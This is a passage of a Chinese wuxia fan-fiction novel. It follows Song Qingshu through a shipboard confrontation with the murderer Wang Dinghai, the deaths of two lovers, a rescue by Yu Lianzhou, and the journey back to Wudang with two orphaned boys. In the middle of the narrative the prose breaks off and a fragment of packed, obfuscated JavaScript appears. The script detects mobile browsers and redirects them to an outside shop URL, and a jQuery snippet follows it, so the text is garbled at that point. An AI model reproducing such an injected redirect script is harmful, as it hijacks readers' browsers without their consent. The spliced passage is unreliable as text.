他喘了口气,脸上露出更加恶毒的笑容:“所以,我要拿回我应得的一切!还要让所有瞧不起我、对不起我的人,付出代价!陈书灵那个贱人!十二年前,我看她孤苦无依,一时兴起要了她,她居然敢恨我?还痴心妄想着她那名义上的好哥哥陈书珩!端午那晚,我看见她和陈书珩在月下言笑晏晏的样子,我就知道,她心里根本没放下那个道貌岸然的伪君子!我跑去质问她,她居然敢骂我畜生,还用那种看脏东西的眼神看我!她不是爱陈书珩吗?不是恨我吗?好!我先杀了她,再去杀陈书珩!让你们这对‘兄妹’到地下去做鸳鸯吧!哈哈哈!” 原来陈书灵是因此而死!那夜她房中激烈的挣扎,竟都源于这段不堪的过往与扭曲的嫉恨。 王定海越说越兴奋:“杀了陈书灵,我知道陈书珩一定会怀疑,会加强防备。但我偏要再去!我要看着他惊恐的样子!昨夜,我本想直接毒死他,干净利落,可惜……被他发现了。不过没关系,” 他阴恻恻地笑了,从怀中掏出一个细小的竹管,“那杯茶里下的毒,不过是掩人耳目。我真正的手段,是这根淬了‘海蛇涎’的银针!趁着他全力与我搏斗、心神激荡之时,我早已将毒针弹射而出,刺入了他的小腿!现在……已经毒性发作,奄奄一息了吧?哈哈,栖云山庄?很快就该改姓王了!” 宋青书听得心中发寒,此人算计之深、心肠之毒,令人发指。 “至于你,我的好妹妹,” 王定海看向海中几乎无力动弹的黄善柔,又看了看林峻峰和宋青书,忽然怪笑一声,“哦,还有这位武当来的宋少侠,不是一心想要新鲜箭鱼筋救人吗?瞧,我多好,多体贴?我把你们俩都弄到甲板上来了,还让你们……有情人终成眷属?哦,不对,是让陈书珩和黄善柔,这对‘仇人’之后,死在一起?这场景,是不是很美妙?” 他一挥手,“来人!”他指了指甲板另一侧一个被他的两名心腹水手拖上来的裹在油布里、面色青黑、气息微弱的人影,赫然是陈书珩! “放在一起!让他们好好‘叙叙旧’!” “今天,你们都得死!这船上的差不多都是我的人,哈哈哈哈哈……” 几名水手在王定海的淫威下,将奄奄一息的黄善柔扔在陈书珩身边。两人都浑身湿透,伤痕累累,脸色惨白中透着青黑,气息微弱得如同风中之烛。 林峻峰和船上的人斗了几十回合,终究是双拳难敌四手,也被绳索细细地缚住。 宋青书被王定海的两名持刀心腹逼在角落,无法援手,只能眼睁睁看着,心中急转,思索脱身与救人之策。 王定海得意洋洋地走到两人身边,蹲下身,欣赏着他们濒死的模样。 陈书珩艰难地转动眼珠,看到了身边的黄善柔,眼中闪过无尽的痛楚、懊悔,以及……一丝奇异的释然。他嘴唇翕动,声音微弱得几乎听不见:“善……柔……” 黄善柔也看着他,琥珀色的眸子里没有了往日的冰冷与锐利,只剩下一种深沉的疲惫与复杂难言的情绪。 “我……我一直想告诉你……” 陈书珩用尽力气,断断续续地说,每一个字都像是从胸腔里挤出来的,“景行……是我们的孩子……我……我早就知道了……” 黄善柔浑身一震,难以置信地看着他。 陈书珩脸上露出一丝苦涩却温柔的笑意:“十二年前……那个晚上……你来找我……你强迫我……我……我并没有真的反抗……不是吗?如果我真的……不愿意……你……你一个女子,怎能……得逞?我……我只是……不敢承认……不敢面对……这份不该有的感情……和我对你的……愧疚……” 原来如此!那一夜,并非纯粹的强迫与错误,其中掺杂着两人自己都未曾清晰认知的、禁忌而真实的情愫!陈书珩早就知道陈景行是自己的骨肉,却因为伦常枷锁、家族声誉和对亡妻的愧疚,一直深埋心底,甚至刻意疏远黄善柔,导致误会越来越深。 黄善柔的眼泪,混着血水和海水,终于滚落下来。她笑了,那笑容凄美而释然,仿佛卸下了千斤重担:“原来……你并不恨我……你只是……和我一样……是个胆小鬼……真好呀……我……我以为你恨我……所以……一直不敢见你……只敢远远地看着栖云山庄……” “对不起……善柔……对不起……” 陈书珩的声音越来越低。 “该说对不起的……是我……” 黄善柔气息微弱,“是我……把灾祸……带给了你们……陈家……” “不……是我们……陈家的旧债……” 陈书珩的目光开始涣散,他努力看向黄善柔,仿佛想将她的面容刻进灵魂深处。 王定海在一旁听得脸色铁青,继而爆发出更加疯狂的大笑:“哈哈哈哈!精彩!真精彩!好一对痴男怨女!死到临头还在卿卿我我!真是让我感动得想吐!你们就一起下地狱去吧!” 黄善柔不再理会王定海,她用尽最后的力气,微微偏过头,看向被挟持在角落、脸色凝重的宋青书,眼神中流露出恳求与托付:“宋……宋少侠……” 宋青书心中一紧,凝神倾听。 “箭鱼筋……在……底舱……我的……密室里……我今早……被他胁迫前……捕到的……玉盒……酬劳……不要了……” 她每说几个字,都要喘息片刻,鲜血不断从口中涌出,“求……求你……一件事……景行……还有行止……他们还小……无辜……求你……妥善……安排……莫要……让他们……卷入……恩怨……请答应我这个请求……” “好,我答应你!” 她的目光又转向陈书珩,陈书珩也正看着她,两人眼中只剩下彼此,以及无尽的遗憾与终于说出口的释然。 陈书珩对黄善柔轻轻点了点头,嘴唇微动,似乎说了句什么,但声音已低不可闻。黄善柔笑了,那笑容纯净如少女,再无半分冷厉。 然后,他们几乎同时,缓缓闭上了眼睛。交叠在一起的手,指尖似乎微微触碰了一下,最终无力地松开。 两只海鸥掠过“破浪号”上空,发出清亮的鸣叫。 甲板上,一片死寂。只有海浪拍打船身的声音,以及王定海粗重的喘息和残留的、扭曲的笑声。 宋青书看着那两具再无生息的躯体,心中充满了悲愤与无力。这对被命运捉弄、被恩怨纠缠、直至死前才互明心迹的男女,就这样以一种惨烈而悲哀的方式,结束了一生。 而凶手,此刻正站在他们面前,猖狂狞笑。 王定海慢慢止住笑声,阴冷的目光转向宋青书:“好了,感人的戏码结束了。斩草除根,宋少侠,该你了。你是自己跳下去喂鱼,还是让我的人帮你?” “至于两个小的,那就要看他们的表现怎么样了,桀桀桀……” 宋青书深吸一口气,强迫自己从悲愤中冷静下来。他缓缓扫视甲板,王定海身边有四个明显是其死忠的心腹水手,手持利刃。其余水手大多面露惊恐、犹豫,不敢上前,但显然也不敢反抗王定海。自己武功虽可自保,但要在颠簸的船上同时对付四名悍匪,还要防备冷箭和其他水手的变故,胜算不大。 他必须拖延时间,寻找机会。 “王定海,” 宋青书开口,声音平静,“你说了这么多,无非是恨你父亲偏心,恨黄善柔夺了你看似应得的东西,恨陈书灵轻视你,恨陈书珩拥有你渴望的一切。但你有没有想过,你父亲为何更看重黄善柔?或许不是偏心,而是知道你这个儿子心术不正,难成大器?黄善柔的船是她自己挣的,你连查证都不愿,只因不愿承认一个女人比你强?至于陈书灵和陈书珩……他们的感情是真是假,轮得到你这个施暴者来评判嫉恨吗?” “闭嘴!你懂什么!” 王定海被戳到痛处,暴怒起来,“胜者为王!现在是我说了算!杀了你,拿到箭鱼筋,再回去接管栖云山庄和陈家的产业,还有这条‘破浪号’!所有的一切,都是我的!” “是吗?” 宋青书忽然嘴角勾起一丝极淡的、带着讽刺的弧度,“你确定,你刚才说的那些秘密,只有甲板上这些人听到?你确定,陈书珩中毒将死的消息,没有提前传回栖云山庄?你确定,林家,还有武当,会坐视不管?王定海,你的算计,恐怕从一开始,就漏洞百出。你以为你是猎人,其实,你早已是网中的鱼。” 这番话半真半假,意在扰乱王定海心神,同时暗示他并非没有后手。 王定海果然脸色一变,眼神惊疑不定地扫向其他水手,尤其是那几个并非他心腹的。他确实担心有漏网之鱼,或者宋青书留有后手。 就在他心神微分、下意识看向船舷外海面、似乎担心有船只追来的刹那—— 并没有任何东西,一片风平浪静。 “别拖延时间了!” 气氛已降至冰点。王定海狰狞的面孔在跳动的火把光芒下忽明忽暗,那双被贪婪和凶残彻底吞噬的眼睛,死死盯着被围在中间的林峻峰和宋青书,仿佛在看两具即将被投入海中的尸体。 他身后那些曾被利益驱使的船夫和水手,此刻也被煽动得蠢蠢欲动,手中鱼叉、利刃闪着寒光。海风呼啸,却吹不散这浓得化不开的杀意。 “林老板,宋少侠,”王定海的声音嘶哑刺耳,如同生锈的铁片摩擦,“要怪,就怪你们知道得太多,来得太巧!这所有的一切合该是我王定海的!你们,还有那个不知好歹的陈书珩,都是绊脚石!今日这茫茫大海,就是你们的葬身之地!兄弟们,动手!宰了他们,谁要是多砍一刀就多分一成!” 重赏之下,那些原本还有些犹豫的亡命之徒,眼中最后一丝人性也泯灭了,发一声喊,便要扑上! 林峻峰面沉如水,暗扣袖中暗器,心中已存死志,只望能拼死护得宋青书一线生机。就在这千钧一发之际! “孽畜——!休要伤我青书侄儿!” 一道清越悠长、如同暮鼓晨钟般的声音,竟压过了呼啸的海风与凶徒的鼓噪,清晰地传入在场每一个人耳中!这声音并不高亢,却蕴含着一种涤荡人心的力量,更带着一股沛然莫御的浑厚真气! 众人惊骇望去,只见漆黑的海面之上,一道青灰色的身影,如同掠波海燕,又如凭虚御风,足尖在起伏的浪尖上轻轻一点,便已跨越十余丈的距离,眨眼间便轻飘飘地落在了“破浪号”高耸的船首撞角之上!夜风吹动他简朴的道袍,月光勾勒出他挺拔如松的身形,面容清癯,目光沉静如古井,却又深邃如星空,正是武当二侠——俞莲舟! 他竟是一个人,一叶扁舟,便在这深夜怒海之中,如履平地般登上了大船! 王定海瞳孔骤缩,心中骇然:“什么人?!” 俞莲舟目光扫过甲板,在林峻峰和宋青书身上微微一顿,看到宋青书无恙,眼中掠过一丝不易察觉的欣慰,随即目光便如冷电般锁定了王定海:“贫道俞莲舟。阁下想必便是王定海?放下凶器,束手就擒,可免一死。” 他的声音平静,却带着不容置疑的威严,更有一种洞悉人心的力量。仅仅是一个名字,便让甲板上那些凶徒气势为之一窒!武当俞莲舟!那是真正名动天下、屹立在武林顶端的人物!岂是他们这些海上蟊贼能够抗衡的? 王定海心中虽惊,但贪婪和疯狂压倒了一切,他嘶吼道:“俞莲舟又如何?!这里是海上!老子人多!兄弟们,别被他吓住!他就一个人!杀了他!武当的秘籍财富也是我们的!” 然而,回应他的,却是俞莲舟一声几不可闻的叹息,以及那骤然动了的身影! 没有惊天动地的声势,俞莲舟的身影仿佛融入了月光与海风之中。众人只觉眼前一花,青灰色的影子已如鬼魅般切入人群!他所过之处,并无惨呼,只听“噗通”、“噗通”连响,那些挥舞兵刃扑上的凶徒,便如同喝醉了酒一般,软软倒地,手中兵刃叮当落地,竟是被他以精妙绝伦的手法瞬间点中了穴道,失去行动能力! 兔起鹘落之间,甲板上还能站着的,除了俞莲舟、林峻峰、宋青书,便只剩下王定海和他身边两个最死忠的悍匪头目。 王定海肝胆俱裂,怪叫一声,挥动那柄喂毒的分水刺,合身扑上,做困兽之斗!他武功倒也不弱,招式狠辣,带着一股亡命之徒的凶悍。 可惜,他面对的是俞莲舟。 俞莲舟甚至没有拔剑。他只是衣袖轻拂,一股柔和却又无可抗拒的太极柔劲涌出,如同无形的大网,瞬间裹住了王定海全身。 王定海只觉得浑身力道泥牛入海,所有凶狠的刺击都变得软绵无力,紧接着一股旋转的力道传来,他身不由己地在原地转了七八个圈子,头晕目眩,“哇”地吐出一口鲜血,手中分水刺早已不知飞到哪里去了,最后“噗通”一声瘫倒在地,被俞莲舟一脚踏住胸口,动弹不得。 另外两个头目见势不妙,转身想逃。俞莲舟头也未回,反手屈指连弹,两道无形指风破空而出,精准地击中两人背心要穴,两人哼都没哼一声,便直接委顿在地。 从俞莲舟现身到控制全场,不过短短十几个呼吸的时间!甲板上横七竖八倒了二十余人,生死不知,却几乎没听到什么激烈的打斗声。这份举重若轻、掌控全局的功力,看得林峻峰目瞪口呆,心中只有叹服。宋青书亦是心潮澎湃,二师叔的武功不愧为几位师叔中最高的,已臻化境。 俞莲舟踏着王定海,目光却扫向那些被点倒、但神智尚存、眼中充满恐惧的普通船夫水手,声音依旧平静,却带着穿透人心的力量:“尔等皆是为利所驱,并非主恶。王定海罪行累累,绑架杀人,图谋不轨,死有余辜。你们若还想活命,立刻放下所有抵抗,将所知道的一切和盘托出,助我们找到被掳之人,或许可免同罪。若再执迷不悟,负隅顽抗……” 他顿了顿,语气转冷,“这茫茫大海,多几具无名浮尸,想必也没人在意。”原来他刚才也听见了全部的事由和经过。 这话如同重锤,敲在那些尚存侥幸心理的人心上。看着如同神兵天降、武功深不可测的俞莲舟,再看看被踩在脚下、如同死狗般的王定海,谁还敢有半分反抗之心? “道……道长饶命!我们投降!我们什么都招!” “是王定海逼我们的!他说有到时把栖云山庄买了分银子,我们就一头脑热,跟着去了!” “我们愿意戴罪立功!” 求饶声、辩白声此起彼伏。很快,在死亡的威胁和俞莲舟的震慑下,剩下的人纷纷丢下武器,表示愿意配合。 局面彻底被控制。 俞莲舟这才松开脚,示意宋青书和林峻峰将王定海捆缚结实。他走到宋青书面前,拍了拍他的肩膀,眼中有关切,也有赞许:“青书,你没事就好。你师父和你太师父得知你孤身南下寻药,又卷入此事,甚为挂念。恰好我在东南访友,接到林老板早些时候发出的求援密信,便一路追查至此。你们做得很好。” 宋青书心中暖流涌动:“多谢二师叔!您怎么找到这里的?” 俞莲舟道:“我自有追踪之法。先不说这个,救人要紧。” 他转向那些投降的船夫,厉声问道:“被你们掳来的陈庄主和他的子侄,关在何处?!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109847|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个胆子稍大的船夫颤声道:“在……在底舱最下面的储物暗格里……王定海亲自关的,我们没下去过……” 俞莲舟、宋青书、林峻峰立刻带人下到底舱。一番搜索,果然在底舱一处极为隐蔽的夹板下,发现了通往更下一层狭窄空间的暗门。打开暗门,一股浑浊闷热的空气扑面而来。 借着火把的光芒,只见狭窄昏暗的底仓里,两个小小的身影蜷缩在角落,正是陈景行和陈行止!两个孩子被捆着手脚,嘴上塞着破布,面色苍白,眼神惊恐,看到有人进来,更是吓得瑟瑟发抖。 “景行!行止!” 林峻峰连忙上前为他们松绑。 甲板那里,陈书珩靠坐在冰冷的舱壁上,双目紧闭,脸色是一种死寂的青黑,嘴唇乌紫,早已没有了呼吸。 “爹——!!!” 陈景行嘴里的破布刚被取出,看到父亲的尸体,呆愣了一瞬,随即发出一声撕心裂肺的哭嚎,扑了上去,小小的拳头捶打着父亲冰冷僵硬的胸膛,泪水如同决堤般涌出,“爹!你醒醒啊!爹!你看看景行啊!” 陈行止也看到了舅舅的尸体,他比陈景行稍小,这接连的巨变早已超出了他幼小心灵的承受极限,此刻只是张大了嘴,却哭不出声音,浑身剧烈地颤抖着,眼泪无声地疯狂流淌,整个人仿佛失去了灵魂,呆立原地。 短短几日,陈书灵惨死,陈书珩被掳,如今亲眼见到至亲冰冷的尸体……这对于两个年仅十一二岁的孩子来说,是何等残酷的打击!这人间至痛,他们该如何承受? 林峻峰别过脸去,不忍再看。 俞莲舟长长叹了口气,上前一步,轻轻将手按在哭得几乎背过气去的陈景行背上,一股温和醇厚的真气渡了过去,护住他因过度悲恸而紊乱的心脉。 宋青书看着这一幕,心中亦是沉痛无比。 日中已至,“破浪号”甲板上的气氛,却依旧冷凝如铁。王定海被俞莲舟那含怒一击,震碎了心脉,此刻瘫在血泊之中,面如金纸,气息微弱如风中残烛,口中却还在无意识地、断断续续地呢喃着,眼中已无神采,只剩下彻底疯魔的执念:“宝藏……我的……都是我的……嘿嘿……黄四岳的……陈家……都是……我的……” 这梦呓般的话语,在寂静的晨光中显得格外刺耳与可悲。他算计半生,不择手段,最终却落得如此下场,至死都被贪婪的幻梦所吞噬。 俞莲舟脸上并无快意,只有一丝淡淡的厌恶。他转向宋青书和林峻峰:“其余胁从,如何处置?” 林峻峰强压怒火,看着甲板上那些噤若寒蝉、面如土色的原“破浪号”船员,沉声道:“首恶已诛,这些人多是被胁迫利诱。依律当送交官府,按其参与程度定罪。只是……” 他看了一眼被白布覆盖的陈书珩遗体,以及被俞莲舟以真气安抚后、依旧沉浸在巨大悲痛中、依偎在一起默默流泪的陈景行和陈行止,叹道:“眼下最重要的是安置好陈兄的后事,和这两个孩子。” 俞莲舟点头:“正该如此。此地不宜久留,需尽快返回泉州。” 众人清理现场,将王定海的尸体以及被擒的几名头目单独看管,其余投降的船员则集中看押。俞莲舟以内力暂时稳固了两个孩子的情绪,林峻峰指挥着还能动弹的可靠人手,驾驶着“破浪号”,朝着泉州港返航。 回到林峻峰安排的僻静院落,陈书珩的遗体被妥善安置,开始筹备丧仪。两个孩子经历了极度的悲恸后,似乎有些麻木,只是紧紧跟着宋青书,仿佛他是此刻唯一能带来一丝安全感的人。 而宋青书心中,却还压着另一件至关重要的事——那两条历经艰辛才得来的、最新鲜的旗鱼主筋。陈书珩已逝,悲剧无法挽回,但三师叔俞岱岩的伤,不能再等。 他必须尽快将这两份材料炼化,然后带着希望与悲伤交织的成果,以及这两个骤然失去一切的孩子,返回武当。 休息了几日后,他向俞莲舟说明情况后,便将自己关在了院落中最安静、防护也最好的一间净室之中。 俞莲舟决定亲自护法,不容任何人打扰。 净室之内,宋青书盘膝而坐,面前紫檀木盒中,两条淡金微红的旗鱼筋静静躺着,散发着深海特有的鲜活气息与内敛的锐意。 更重要的是,他的念力在经历了荒岛淬炼、海上风波以及此番生死危机后,似乎又有了些许难以言喻的精进,操控起来更加圆融如意。似乎念力也会因为心智的增强而增强。 他闭目调息,将连日来的疲惫、悲伤、愤怒等情绪一一沉淀,直至灵台空明,心若止水。胸中那团念力光团温润流转,光华内蕴。 片刻后,他睁开双眼,目光清澈而专注。双手虚抬,莹白凝实的念力光束再次涌现,缓缓笼罩向两条鱼筋。 没有激烈的对抗,也没有外界的风雨干扰。这一次的炼化,更像是一场细致入微的雕琢与潜移默化的交融。念力如最温柔的流水,渗透进筋络的每一丝纤维,引导着其中那澎湃的生机与锐气,与筋体本身完美结合,进行着本质的升华与重塑。 时间在寂静中流淌。宋青书全副心神都沉浸在这创造性的过程里,额头渗出细密的汗珠,脸色微微发白,但眼神始终稳定。他能清晰地“感觉”到,手中这两条灵材正在发生着奇妙的变化,杂质尽去,结构趋于完美,内蕴的灵光越发纯粹而深邃。 一日一夜,不饮不食,不动不摇。 “成了……” 宋青书长长地舒了一口气,强烈的疲惫感涌上,但心中充满了踏实与喜悦。有了这两条顶级灵线,三师叔的伤势,终于看到了真正突破的曙光! 他小心地将灵线收好,调息片刻,恢复了些精神,这才推开净室的门。 门外,俞莲舟微微颔首:“辛苦你了,青书。” “二师叔护法之功。” 宋青书行礼道。 又休息了几日,缓过神来,这才问俞莲舟:“景行和行止他们……” “在林师弟那里,情绪稍微平稳了些。” 俞莲舟道。 正堂中,林峻峰正陪着陈景行和陈行止。两个孩子眼睛红肿,沉默地坐着,与昔日活泼灵动的模样判若两人。 宋青书走进来,坐在他们对面,温和地看着他们,沉默了片刻,才缓缓开口:“景行,行止,有些关于你们父母……和你们自己的事情,我想,现在应该告诉你们了。” 两个孩子抬起头,茫然中带着一丝不安。 宋青书以尽量平和的语气,将从林峻峰、黄善柔以及王定海零碎话语中拼凑出的真相,娓娓道来:他们的外祖父,是当年为祸的巨盗“翻海蛟”黄四岳,被俞岱岩与栖云山庄老庄主等人诛杀。他们的母亲黄善柔,是黄四岳的女儿,当年因年幼未作恶而被放过,后来流落海上,凭借自己的本事成为了“破浪号”的掌船。王定海则是觊觎所谓“黄四岳宝藏”的野心家,因爱生恨,或因贪念扭曲,设计害死了陈书灵,又掳走陈书珩,最终导致了这场惨剧。 这复杂而残酷的真相,对于两个少年来说,无疑是又一记重击。陈景行脸色煞白,紧紧咬住嘴唇,原来自己身上流淌着海盗和仇家的血液……陈行止则瞪大了眼睛,原来母亲的郁郁寡欢、与舅舅之间那份淡淡的疏离感,背后竟有这样的原因。 “青书哥哥……” 陈景行声音沙哑,带着颤抖,“我娘……黄掌船她……知道这些吗?她恨我们吗?” 宋青书轻轻摇头:“我想,她并不恨。端午那夜她去山庄,只是想远远看看故人之后,看看你们是否安好。她若真有恨,不会只是那样看着。她选择在海上生活,或许,也是一种远离过往的方式。” 陈行止低下头,眼泪又无声地滑落:“王定海……他为什么……”陈行止知道王定海是自己的父亲,但是他觉得这样的人不配做他的父亲。 “贪婪和扭曲的欲望,会把人变成魔鬼。” 林峻峰叹息道,“孩子,这不是你们的错。你们的父母,你们的父母,无论有着怎样的过往,对你们的爱都是真的。” 消化这惊人的身世,需要时间。宋青书等他们的情绪稍稍平复,才提出了最现实的问题:“景行,行止,临终前,你们的爹娘分别将你们托付给了林世叔和我,你们有何打算?栖云山庄还有这‘破浪号’?有准备作何处置?” 两个孩子对视一眼,经受了一遭失去亲人的巨变,已经有着超越年龄的沉重与决断。 陈景行先开口:“青书哥哥,林叔叔,山庄……是我们长大的地方,有太多回忆。我们不想卖,也舍不得。我们想请福伯爷爷和几位忠心的老人,继续帮我们看管着,等我们……等我们将来有能力了,再回来。” 陈行止也点点头,小脸上满是认真:“‘破浪号’……是黄掌船的心血,但它也沾了……不好的事。我们不想留着它了。林叔叔,能不能请您帮忙,把它卖掉?得来的钱,一部分用作爹爹和山庄的后续用度,一部分……我们想带走。” 林峻峰欣慰地点头:“好孩子,你们考虑得很周到。山庄和船的事,就交给林叔叔来处理,定会安排妥当。” 最后,宋青书看着他们,问出了最关键的问题:“那么,对于你们自己,日后有何打算?如果愿意,可以跟着林世叔,学习经营或走镖,林叔叔定会视你们如己出。或者……” 他顿了顿,“若你们愿意,也可以随我回武当山。武当清苦,需刻苦学艺,但门规严谨,师兄弟和睦,亦是一个安身立命、学习本领的地方。” 两个孩子几乎没有任何犹豫,同时抬头看向宋青书,眼中流露出依赖与渴望。 “青书哥哥,我们想跟你去武当山!” 陈景行坚定地说。 “对!我们想跟青书哥哥学本事!学好武功,将来……将来保护想保护的人,不再让坏人得逞!”陈行止擦掉眼泪,语气带着一股执拗的劲头。 他们喜欢并信任这位在危难中始终沉稳可靠、又真心关怀他们的“青书哥哥”,武当山的名声他们也听父亲或舅舅和宋青书提过多次,那是一个与栖云山庄截然不同、却同样令他们感到向往的地方。 宋青书看着他们眼中重新燃起的一点微弱的光芒,那是对未来的期盼,也是对改变命运的渴望。他郑重地点了点头:“好。既然你们决定了,我便带你们回武当。不过,武当收徒严谨,需禀明师祖与掌教师尊,经过考核方能正式列入门墙。在此之前,你们可以先随我在山上安顿,学习基础。” “嗯!我们一定好好学!” 两兄弟用力点头。 数日后,陈书珩与陈书灵的丧仪在低调中完成,合葬于栖云山庄后山。“破浪号”由林峻峰经手,卖给了一位北方的海商。山庄则托付给了忠心耿耿的老管家福伯和几位老人照看。 泉州港的晨风中,俞莲舟、宋青书,以及换上了一身干净布衣、背着小包裹的陈景行、陈行止,与前来送行的林峻峰告别。 “林师叔(林叔叔),保重!” 宋青书与两个孩子躬身行礼。 林峻峰拍了拍两个孩子的肩膀,又对宋青书和俞莲舟道:“一路顺风!这两个孩子,就拜托你们了!若有任何需要,随时来信!” “放心。” 俞莲舟颔首。 马车缓缓启动,驶离了这座留下了太多悲伤与秘密的滨海之城。陈景行和陈行止趴在车窗边,最后望了一眼逐渐远去的栖云山庄的方向,眼中含着泪,却也带着一丝决绝。 “哥哥,我们还会回来的,对吗?” 陈行止小声问。 “一定会。”陈景行握紧了弟弟的手,看向前方蜿蜒的官道,看向宋青书沉静的背影,也看向那遥远的、云雾缭绕的武当山方向,“等我们学好了本事,堂堂正正地回来。” 宋青书听着身后两个孩子低低的对话,望着车外不断后退的景色,心中感慨万千。这一趟东南之行,曲折惊险,失去了很多,但也得到了至关重要的灵材,解开了部分谜团,如今更带回了两个身世坎坷、亟待引导的少年。 29. 叔侄堂前破疾难 离开了笼罩在悲伤与阴谋余烬中的泉州,四人一路向北。车外景色渐次更替,南国的葱茏湿润逐渐被中原的旷达疏朗所取代。 旅途漫长,但比起南下时的孤身涉险与波谲云诡,这归程因有俞莲舟坐镇,多了份安心,更因多了两个半大孩子,平添了几分责任。 宋青书最初有些不习惯。他看着陈景行和陈行止,心里时常会掠过一丝陌生的、沉甸甸的感觉——他第一次被别人如此郑重地托付事情,对象还是两个活生生的人,两个未来尚未定型的少年。他怕自己考虑不周,教不好,护不周全,辜负了黄善柔的信任,也耽误了他们的人生。这份忐忑,偶尔会在他凝视两个孩子安静的侧脸时,悄然浮现在眼底。 然而,这份额外的责任,很快在旅途中被俞莲舟不着痕迹地分担和化解了大半。 陈景行年长一岁,经历了父亲惨死、身世揭秘的双重冲击后,他仿佛将所有的悲痛与迷茫都压进了心底,表现出一种超乎年龄的沉静与自律。 他很少哭闹,甚至很少说话,大部分时间只是静静看着窗外飞逝的景色,或是默默完成宋青书交代的诸如辨识草药、背诵经脉口诀等简单功课。他的眼神深处,有种近乎执拗的专注。 这种沉静的脾性,竟意外地合了俞莲舟的眼缘。 俞二侠也是为人严肃,话不多,授艺时更是严谨到近乎苛刻,讲究根基扎实,一丝不苟。 这一日,在驿馆后院歇息时,俞莲舟见陈景行蹲在树下,无意识地用手指比划着宋青书前几日演示过的几个基础擒拿动作,虽然生涩,但方位、力道转换竟有几分模样。 “你,过来。” 俞莲舟忽然开口。 陈景行愣了一下,连忙起身,恭敬走到俞莲舟面前。 “比划几下我看看。” 俞莲舟淡淡道。 陈景行有些紧张,但还是凝神,将记忆中那几个动作缓慢而认真地演练了一遍。动作僵硬,破绽百出,但那份努力去理解、去模仿的认真劲,却被俞莲舟看在眼里。 “心意尚可,形似全无。” 俞莲舟评价毫不客气,但却站起身,“武当功夫,重意也重形,形不正则意也难达。看好了。” 说罢,他便以极慢的速度,将一套武当入门筑基的“武当绵掌”前几式演练开来。这套掌法看似柔和缓慢,实则内含阴阳转换、劲力吞吐的妙理,最是锻炼初学者对身体和劲道的控制。 俞莲舟一边演示,一边讲解要点:“虚灵顶劲,沉肩坠肘……劲起于脚,发于腿,主宰于腰,形于手指……用意不用力,劲断意不断……” 陈景行屏息凝神,眼睛一眨不眨,将每一个细节都刻入脑中。他天生心思沉静,悟性竟是不错,俞莲舟讲一遍,他往往能理解个六七分。 此后,每日行程间隙,休息之时,便成了陈景行与俞莲舟固定的“授课”时间。俞莲舟教得严格,陈景行学得刻苦。一个教得毫无保留,虽态度冷淡,一个学得心无旁骛。两人都是沉默寡言的性子,交流多在拳掌比划与简单的指令之间,却自有一种奇特的默契。 宋青书在一旁看着,心中暗暗惊讶。二师叔何等身份,竟对景行这孩子起了亲自点拨的念头,看来景行的沉静与专注,确实入了二师叔的法眼。他也很欣慰,有严厉的二师叔引路,景行走上正途的基础,算是无比扎实了。 更让宋青书和俞莲舟惊讶的是陈景行的进境。或许是大变之后心志被磨砺得异常坚韧,又或许是真的与武当功夫有缘,这孩子对“绵掌”的领悟速度远超常人。不过月余旅程,待到湖北境内,武当山遥遥在望时,陈景行竟已将一整套入门“武当绵掌”学完,虽然功力尚浅,劲道拿捏还显稚嫩,但招式框架、转换要领已颇有几分沉稳模样,与俞莲舟拆招时,竟也能有模有样地走上十几招不露大败象。这份悟性与韧性,连俞莲舟严肃的脸上,偶尔也会掠过一丝几不可察的赞许。 与兄长陈景行的沉静向武不同,弟弟陈行止的性情则要敏感、活泼一些。丧母之痛与身世迷茫对他打击同样巨大,但他恢复得似乎稍快些,偶尔也会露出属于这个年纪的好奇。他不太敢去缠着冷面的俞莲舟,更多时候是跟在宋青书身边,帮忙捣药、整理行囊,问东问西。 他最喜欢听的,是宋青书讲述武当山上的事情,尤其是各位师叔祖的故事。当听到宋青书提及俞岱岩当年在福建诛杀巨盗“翻海蛟”黄四岳、为民除害的事迹时,陈行止的眼睛一下子亮了起来,追着问细节。 “青书哥哥,俞三侠……他那时候一个人,面对很多坏人,害怕吗?” “他是不是特别厉害?用的什么剑法?” “他杀了那个大坏人,是不是很多人都很感激他?” 宋青书能感觉到,这孩子对“除恶扬善”的侠义故事有着本能的向往和崇拜。或许,在他幼小的心灵里,需要一个强大、正义的形象,来驱散现实带来的黑暗与无力感。 一次听完故事后,陈行止忽然小声而坚定地说:“青书哥哥,我……我回武当山后,能拜俞三侠为师吗?” 他眼中闪烁着憧憬的光芒,“我想学他那样的武功,做他那样的人,以后……以后保护那些,需要保护的人。” 宋青书闻言,心中微微一震,随即涌起一股复杂的情绪。他摸了摸陈行止的头,温声道:“三师叔他……因为一些原因,现在行动不便,可能无法亲自教授你武功。但三师叔侠义为怀,若是知道你有此心志,必定欣慰。拜师之事,还要看缘分。不过,只要你心存正念,刻苦用功,无论哪位师长,都会愿意教导你的。” 陈行止用力点头,将“俞岱岩”这个名字,深深记在了心里。 马车终于驶入了武当山界。熟悉的层峦叠翠、云烟雾绕映入眼帘,山风带来清冽的气息,也带来了“家”的呼唤。 望着越来越近的山门,宋青书心中那丝关于“托付”的忐忑,依然存在,但已淡了许多。这一路上,他看到了陈景行在二师叔引导下显露的坚韧与悟性,看到了陈行止在侠义故事中寻找到的精神寄托与志向。 他或许还不知道该如何具体地做一个完美的“引路人”,但他知道,武当山就是最好的土壤,太师父、父亲、诸位师叔,都是最可靠的师长。而他需要做的,就是带着他们回去,为他们叩开这扇门,然后在今后的日子里,尽自己所能,看顾他们,引导他们。 责任依然沉重,但路径已清晰。 武当山,听松小筑。时隔数月,宋青书再次站在这里,心境与离开时截然不同。 怀中紫檀木盒内,是历经风波、跨越山海才得来的希望——两条完美的暗金灵线,以及数片他以剩余边角料和特意留存的旗鱼特殊骨材炼化而成的、薄如蝉翼、坚硬而略带弹性的淡银色骨片。 他给这些非凡的炼化之物取了名:灵线因其色如月华、触手微凉、内蕴星辉,唤作“冰魄银丝”;骨片则对应称为“冰魄银片”。 